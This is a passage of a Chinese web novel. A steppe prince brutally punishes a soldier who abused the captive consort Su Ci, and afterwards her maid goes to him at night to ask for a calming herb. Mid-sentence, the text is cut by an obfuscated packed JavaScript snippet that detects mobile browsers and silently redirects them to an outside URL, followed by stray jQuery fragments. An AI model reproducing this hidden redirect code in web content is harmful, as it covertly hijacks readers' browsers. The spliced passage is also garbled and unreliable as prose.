沙烈高大的身影,出现在门口。


    他身后,跟着几个神情肃杀的亲卫。


    他一踏进帐篷,目光扫过全场。


    当他看到苏瓷脖颈上的剑和那刺目的血痕时,他整个人身上的气息变得无比恐怖!


    “少……少主……”


    巴图腿一软,差点跪下去。


    帐篷里所有的战士,全都“噗通”一声跪倒在地,


    连头都不敢抬。


    沙烈没有理会任何人。


    他一步一步,走了过来。


    他走到巴图面前,停下。


    巴图浑身抖得像筛糠。


    “少主,我……”


    “啪!”


    一声清脆响亮的耳光!


    沙烈一言不发,反手就是一巴掌,狠狠地抽在了巴图的脸上!


    巴图懵了。所有人都懵了。


    然而,这还没完。


    “啪!”


    又是一记更加响亮的耳光!


    这一巴掌,直接将巴图抽翻在地!


    “我的客人,你也敢动?”


    沙烈居高临下地看着倒在地上的巴图,抬脚狠狠地踩在了他的胸口上。


    “咔嚓”一声,似乎是肋骨断裂的声音。


    巴图发出一声痛苦的闷哼。


    “谁给你的胆子?”


    沙烈一脚,将地上那碗馊掉的糊状物,踢翻在巴图的脸上。


    黏腻腥臭的液体,糊了巴图满头满脸。


    “这就是你给我的贵客准备的食物?”


    沙烈弯下腰,揪住巴图的头发,将他的脸,从地上提了起来。


    “睁开你的狗眼看看!”


    他指着苏瓷脖子上的血。


    “她要是少了一根头发,我把你剁了喂狼!”


    说完,他猛地一甩,将巴图的头,重重地磕在地上!


    “砰”的一声闷响!


    “拖出去!”沙烈站直身体,冷酷地命令道,“关进地牢!等我处置!”


    “是!”


    他身后的亲卫立刻上前,像拖死狗一样,将已经昏死过去的巴图拖了出去。


    帐篷里,剩下的那几个战士已经吓得面无人色,匍匐在地上一动不敢动。


    “还有你们。”


    沙烈的目光像刀子一样。


    “自己去领五十鞭子。再有下次,就不是鞭子那么简单了。”


    “谢少主不杀之恩!谢少主不杀之恩!”


    几个战士如蒙大赦,连滚爬爬地逃了出去。


    整个帐篷清净了。


    只剩下苏瓷主仆三人,和沙烈。


    沙烈转过身看向苏瓷。


    “把剑放下。”


    “我向你道歉。”


    沙烈看着她,一字一句,郑重地说道。


    “是我疏忽了,让你受了委屈。”


    苏瓷握着剑的手,终于控制不住地开始微微颤抖。


    沙烈上前一步,伸出手,想要去拿她手中的剑。


    “别碰我!”


    苏瓷却像是受惊的兔子,猛地后退了一步,剑锋再次逼近自己。


    沙烈的手,僵在了半空中。


    “娘娘,您别怕,是少主,是沙烈少主救了我们!”


    晚照哭着安抚她。


    可苏瓷什么都听不进去。


    刚才那恐怖的一幕,已经彻底击溃了她的神经。


    她眼前只有巴图那张狰狞的脸。


    她不停地发抖,嘴里喃喃自语。


    “脏……好脏……”


    “别过来……都别过来……”


    她抱着自己的手臂,拼命地往后缩,仿佛要将自己缩进墙角里。


    青禾心如刀绞,她一边替苏瓷擦拭着脖子上的血迹,一边看向沙烈,眼中是毫不掩饰的恳求。


    “少主,求您……求您找个大夫来吧!娘娘她……”


    沙烈看着苏瓷那副失魂落魄的模样,眉头拧成了一个疙瘩。


    他知道,她是吓坏了。


    “来人。”他沉声喊道。


    一个亲卫立刻走了进来。


    “去把军医叫来。”


    “是。”


    沙烈又看了一眼帐篷里那两碗已经发馊的食物,脸色更加阴沉。


    他什么都没说,只是转身大步走了出去。


    ……


    夜,深了。


    草原的夜,冷得像冰。


    帐篷里,炭盆终于被点燃了,散发着温暖的火光。


    军医来过,给苏瓷脖子上的伤口上了药,所幸只是皮外伤,并不严重。


    但她的人,却像是被抽走了魂。


    晚照喂她喝水,她不喝。


    青禾端来新换的肉汤,她也不吃。


    她就那么抱着膝盖,一动不动地坐在床角,目光空洞地看着某一个点,谁叫她都没有反应。


    晚照守在一旁,急得直掉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602583|179036||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眼泪。


    青禾看着这样的苏瓷,心疼得快要碎了。


    她知道,心病还须心药医。


    但在这虎狼环伺的草原,她们没有任何可以依靠的人。


    不。


    或许还有一个。


    青禾的目光,穿过帐篷的帘子,望向了远处那顶灯火通明的,属于沙烈的大帐。


    她咬了咬牙,仿佛下定了某种决心。


    她站起身。


    “晚照,你在这里守着娘娘,我出去一趟。”


    “青禾姐姐,你……你要去哪儿?”晚照担忧地问。


    “我去求药。”


    青禾没有再多解释,披上一件外衣,掀开帘子,毅然决然地走进了冰冷的夜色里。


    沙烈的大帐外,守卫森严。


    青禾被两个高大的亲卫拦住了去路。


    “站住!什么人?”


    “我要见你们少主。”青禾的声音,在寒风中显得有些单薄,却异常坚定。


    “少主正在议事,不见客!”


    “我有万分紧急的事,关系到我们娘娘的性命!”青禾提高了声音,“如果耽误了,你们担当得起吗?”


    两个亲卫对视一眼,似乎有些犹豫。


    正在这时,帐篷的帘子被掀开,沙烈的一个副将走了出来。


    他认得青禾。


    “让她进来吧。”


    青禾走进大帐,一股混杂着羊奶和皮革味道的暖气扑面而来。


    沙烈正坐在主位上,擦拭着他那把心爱的弯刀。


    他看到青禾,并不意外,只是抬了抬眼皮。


    “有事?”


    青禾走到大帐中央,站定。


    “少主,我来,是想为您求一样东西。”


    “哦?”沙烈放下了弯刀,“说来听听。”


    “安神的药。”青禾一字一句,“我们娘娘受了惊吓,神思不属,水米不进。再这样下去,她会垮的。”


    沙烈静静地看着她。


    “军医不是去看过了吗?”


    “那是治身伤的药,治不了心病。”


    青禾抬起头,直视着他,“我听说,草原有一种安魂草,点燃之后,能让人心神安宁。我求少主,赐我们一些。”


    沙烈笑了。


    他站起身,高大的身影带着极强的压迫感,一步步走到青禾面前。


    “这么晚了,你一个姑娘家,独自跑到我的帐篷里来。”